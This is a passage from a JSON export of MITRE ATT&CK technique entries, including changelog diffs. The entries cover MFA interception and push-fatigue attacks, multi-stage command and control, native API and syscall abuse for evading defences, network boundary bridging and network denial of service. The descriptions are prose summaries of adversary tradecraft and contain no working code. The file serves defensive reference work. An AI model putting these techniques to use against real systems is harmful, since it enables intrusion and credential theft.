}
},
{
"type": "attack-pattern",
"id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:23.195000+00:00",
"modified": "2025-10-24 17:49:29.231000+00:00",
"name": "Multi-Factor Authentication Interception",
"description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation: Okta Scatter Swine 2022)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1111",
"external_id": "T1111"
},
{
"source_name": "GCN RSA June 2011",
"description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved November 17, 2024.",
"url": "https://www.route-fifty.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/"
},
{
"source_name": "Mandiant M Trends 2011",
"description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.",
"url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf"
},
{
"source_name": "Okta Scatter Swine 2022",
"description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
"url": "https://sec.okta.com/scatterswine"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"John Lambert, Microsoft Threat Intelligence Center"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.231000+00:00\", \"old_value\": \"2025-04-15 22:50:08.274000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\\n\\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\\n-\\n-Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.\"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1017: User Training"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0246: Detection Strategy for MFA Interception via Input Capture and Smart Card Proxying"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2022-04-01 02:15:49.754000+00:00",
"modified": "2025-10-24 17:49:07.399000+00:00",
"name": "Multi-Factor Authentication Request Generation",
"description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1621",
"external_id": "T1621"
},
{
"source_name": "Russian 2FA Push Annoyance - Cimpanu",
"description": "Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.",
"url": "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/"
},
{
"source_name": "MFA Fatigue Attacks - PortSwigger",
"description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.",
"url": "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications"
},
{
"source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe",
"description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.",
"url": "https://www.mandiant.com/resources/russian-targeting-gov-business"
},
{
"source_name": "Obsidian SSPR Abuse 2023",
"description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
"url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jon Sternstein, Stern Security",
"Pawel Partyka, Microsoft 365 Defender",
"Shanief Webb",
"Obsidian Security",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS",
"IaaS",
"SaaS",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Logon Session: Logon Session Metadata\", \"Application Log: Application Log Content\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.399000+00:00\", \"old_value\": \"2025-04-15 22:50:21.216000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1032: Multi-factor Authentication",
"M1036: Account Use Policies"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0015: Application Log (Application Log Content)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0028: Logon Session (Logon Session Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0160: Detection Strategy for Multi-Factor Authentication Request Generation (T1621)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:15.935000+00:00",
"modified": "2025-10-24 17:49:03.646000+00:00",
"name": "Multi-Stage Channels",
"description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1104",
"external_id": "T1104"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.646000+00:00\", \"old_value\": \"2025-04-25 15:15:50.032000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0228: Detect Multi-Stage Command and Control Channels"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:17.472000+00:00",
"modified": "2025-10-24 17:48:39.785000+00:00",
"name": "Native API",
"description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1106",
"external_id": "T1106"
},
{
"source_name": "MACOS Cocoa",
"description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.",
"url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1"
},
{
"source_name": "Apple Core Services",
"description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.",
"url": "https://developer.apple.com/documentation/coreservices"
},
{
"source_name": "macOS Foundation",
"description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.",
"url": "https://developer.apple.com/documentation/foundation"
},
{
"source_name": "OutFlank System Calls",
"description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
"url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"
},
{
"source_name": "Redops Syscalls",
"description": "Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.",
"url": "https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls"
},
{
"source_name": "GNU Fork",
"description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.",
"url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html"
},
{
"source_name": "CyberBit System Calls",
"description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.",
"url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/"
},
{
"source_name": "GLIBC",
"description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.",
"url": "https://www.gnu.org/software/libc/"
},
{
"source_name": "LIBC",
"description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.",
"url": "https://man7.org/linux/man-pages//man7/libc.7.html"
},
{
"source_name": "Linux Kernel API",
"description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.",
"url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html"
},
{
"source_name": "MDSec System Calls",
"description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.",
"url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
},
{
"source_name": "Microsoft CreateProcess",
"description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
},
{
"source_name": "Microsoft Win32",
"description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/win32/api/"
},
{
"source_name": "Microsoft NET",
"description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.",
"url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework"
},
{
"source_name": "NT API Windows",
"description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.",
"url": "https://undocumented.ntinternals.net/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Gordon Long, LegioX/Zoom, asaurusrex",
"Stefan Kanthak",
"Tristan Madani (Cybereason)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.3",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.785000+00:00\", \"old_value\": \"2025-04-15 19:58:23.043000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \\n\\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \\n-\\n-Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. \"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Gordon Long, LegioX/Zoom, asaurusrex\", \"old_value\": \"Gordon Long, Box, Inc., @ethicalhax\"}}}",
"previous_version": "2.3",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention",
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0011: Module (Module Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0529: Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-19 16:08:29.817000+00:00",
"modified": "2025-10-24 17:49:16.493000+00:00",
"name": "Network Boundary Bridging",
"description": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1599",
"external_id": "T1599"
},
{
"source_name": "Kaspersky ThreatNeedle Feb 2021",
"description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.",
"url": "https://securelist.com/lazarus-threatneedle/100803/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.493000+00:00\", \"old_value\": \"2025-04-16 20:37:19.349000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\\n\\nMonitor the border network device\\u2019s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\\n-\\n-Monitor the border network device\\u2019s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1032: Multi-factor Authentication",
"M1037: Filter Network Traffic",
"M1043: Credential Access Protection"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0006: Detection Strategy for Network Boundary Bridging"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-04-17 20:23:15.105000+00:00",
"modified": "2025-10-24 17:49:28.162000+00:00",
"name": "Network Denial of Service",
"description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1498",
"external_id": "T1498"
},
{
"source_name": "Cisco DoSdetectNetflow",
"description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
},
{
"source_name": "FSISAC FraudNetDoS September 2012",
"description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.",
"url": "https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf"
},
{
"source_name": "FireEye OpPoisonedHandover February 2016",
"description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20201127180357/https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"
},
{
"source_name": "Symantec DDoS October 2014",
"description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.",
"url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Yossi Weizman, Azure Defender Research Team",
"Vishwas Manral, McAfee"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS",
"Containers"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Sensor Health: Host Status\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.162000+00:00\", \"old_value\": \"2025-04-15 22:51:06.430000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0013: Sensor Health (Host Status)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
